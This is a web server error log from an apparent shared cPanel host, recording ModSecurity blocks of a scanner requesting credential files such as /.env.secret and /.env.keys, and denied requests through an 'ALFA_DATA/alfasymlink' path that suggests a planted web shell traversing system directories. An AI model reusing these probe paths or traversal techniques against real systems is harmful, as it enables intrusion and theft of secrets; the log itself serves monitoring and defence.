[Sun Oct 25 13:36:34.391332 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 185.191.171.16:57682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/slabs
[Sun Oct 25 13:36:35.718764 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 3.231.193.38:42788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:36:39.744959 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 85.208.96.199:16132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:36:39.783483 2026] [ssl:error] [pid 2867885:tid 2867885] (5)Input/output error: [client 34.234.200.207:35256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:36:47.709863 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.152.163.42:48602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:37:03.755238 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 3.221.222.168:42467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:37:19.806346 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 34.196.114.170:60136] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:37:24.225331 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 34.227.234.246:18907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/cpu1/driver/bind
[Sun Oct 25 13:37:27.837698 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 54.84.147.79:28929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:37:32.486015 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.2.83.227:59269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:37:51.794771 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 44.193.102.198:12326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:37:55.508803 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 185.191.171.6:26846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/flags
[Sun Oct 25 13:37:55.961539 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 23.23.212.212:33969] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:37:59.736058 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 44.208.223.68:48454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:38:03.744078 2026] [ssl:error] [pid 2867876:tid 2867876] (5)Input/output error: [client 54.197.82.195:25109] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:38:03.744259 2026] [security2:error] [pid 2867876:tid 2867876] [client 54.197.82.195:25109] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:01/physical_node/power/autosuspend_delay_ms"] [unique_id "at4-e1MGGelIHqGysXAanQAAAB8"]
[Sun Oct 25 13:38:03.744287 2026] [security2:error] [pid 2867876:tid 2867876] [client 54.197.82.195:25109] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:01/physical_node/power/autosuspend_delay_ms"] [unique_id "at4-e1MGGelIHqGysXAanQAAAB8"]
[Sun Oct 25 13:38:08.014119 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 3.224.104.67:64942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:38:11.806768 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 52.71.218.25:23755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:38:19.816958 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 52.207.47.227:6843] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:38:39.889212 2026] [ssl:error] [pid 2867890:tid 2867890] (5)Input/output error: [client 184.73.47.24:33579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:38:43.705800 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 23.23.103.31:58037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:38:47.653858 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 23.21.148.226:22537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:39:39.466341 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 85.208.96.208:22850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/validate
[Sun Oct 25 13:39:39.665185 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 98.82.59.253:5959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:39:51.612533 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 35.174.141.243:28650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:39:52.289886 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 185.191.171.5:53812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/validate
[Sun Oct 25 13:39:58.527798 2026] [core:crit] [pid 2867890:tid 2867890] (13)Permission denied: [client 185.136.15.2:53710] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 13:40:07.662976 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.215.210.112:5697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:15.567652 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 18.213.240.226:44328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:19.491412 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 34.206.212.24:40848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:31.453563 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 34.227.156.153:24094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:35.444078 2026] [ssl:error] [pid 2867876:tid 2867876] (5)Input/output error: [client 23.21.227.240:17493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:39.445283 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 54.235.172.96:19559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:47.600488 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 54.225.98.148:42448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:51.624158 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 34.206.212.24:27442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:52.061643 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 85.208.96.210:64228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/destroy_by_rcu
[Sun Oct 25 13:40:53.419259 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 85.208.96.200:20014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/slabs_cpu_partial
[Sun Oct 25 13:40:55.464023 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 18.211.148.239:52788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:40:59.432305 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 85.208.96.206:15584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/cpu_partial
[Sun Oct 25 13:41:03.449459 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 3.94.156.104:37567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:19.408189 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 44.215.61.66:19153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:23.362544 2026] [ssl:error] [pid 2867879:tid 2867879] (22)Invalid argument: [client 35.172.125.172:52915] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:27.468782 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 44.221.105.234:60877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:35.138058 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 35.171.141.42:4273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:43.336698 2026] [ssl:error] [pid 2870916:tid 2870916] (5)Input/output error: [client 52.3.156.186:2980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:47.134560 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 52.73.142.41:15819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:51.225994 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 34.202.88.37:5184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:55.053924 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 54.197.102.71:43117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:41:59.131698 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 35.168.238.50:19749] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:42:04.315203 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 85.208.96.208:20046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:42:06.538966 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "diag2.sherwinpinturas.com"] [uri "/"] [unique_id "at4_boIGIq5euXyTbvT06gAAACQ"]
[Sun Oct 25 13:42:06.539294 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/"] [unique_id "at4_boIGIq5euXyTbvT06gAAACQ"]
[Sun Oct 25 13:42:06.539590 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/"] [unique_id "at4_boIGIq5euXyTbvT06gAAACQ"]
[Sun Oct 25 13:42:06.791012 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at4_bknqvEndZSiuRU5OlwAAAA8"]
[Sun Oct 25 13:42:06.791163 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at4_bknqvEndZSiuRU5OlwAAAA8"]
[Sun Oct 25 13:42:06.791432 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at4_bknqvEndZSiuRU5OlwAAAA8"]
[Sun Oct 25 13:42:06.847072 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at4_bvwFw76qlSfceadvJwAAAAA"]
[Sun Oct 25 13:42:06.847291 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at4_bvwFw76qlSfceadvJwAAAAA"]
[Sun Oct 25 13:42:06.847604 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at4_bvwFw76qlSfceadvJwAAAAA"]
[Sun Oct 25 13:42:06.873525 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at4_bssxP9Gbm0IYLGL8-gAAACI"]
[Sun Oct 25 13:42:06.873748 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at4_bssxP9Gbm0IYLGL8-gAAACI"]
[Sun Oct 25 13:42:06.874058 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at4_bssxP9Gbm0IYLGL8-gAAACI"]
[Sun Oct 25 13:42:06.927803 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at4_blMGGelIHqGysXAargAAAB8"]
[Sun Oct 25 13:42:06.928037 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at4_blMGGelIHqGysXAargAAAB8"]
[Sun Oct 25 13:42:06.928360 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at4_blMGGelIHqGysXAargAAAB8"]
[Sun Oct 25 13:42:06.971721 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at4_bknqvEndZSiuRU5OmAAAAA8"]
[Sun Oct 25 13:42:06.971956 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at4_bknqvEndZSiuRU5OmAAAAA8"]
[Sun Oct 25 13:42:06.972264 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at4_bknqvEndZSiuRU5OmAAAAA8"]
[Sun Oct 25 13:42:07.147558 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4_b1MGGelIHqGysXAarwAAAB8"]
[Sun Oct 25 13:42:07.147792 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4_b1MGGelIHqGysXAarwAAAB8"]
[Sun Oct 25 13:42:07.148062 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4_b1MGGelIHqGysXAarwAAAB8"]
[Sun Oct 25 13:42:07.250740 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5QAAAAE"]
[Sun Oct 25 13:42:07.250974 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5QAAAAE"]
[Sun Oct 25 13:42:07.251279 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at4_b-Rnh_MPFutbQ4Jk5QAAAAE"]
[Sun Oct 25 13:42:07.255603 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4_b1MGGelIHqGysXAasAAAAB8"]
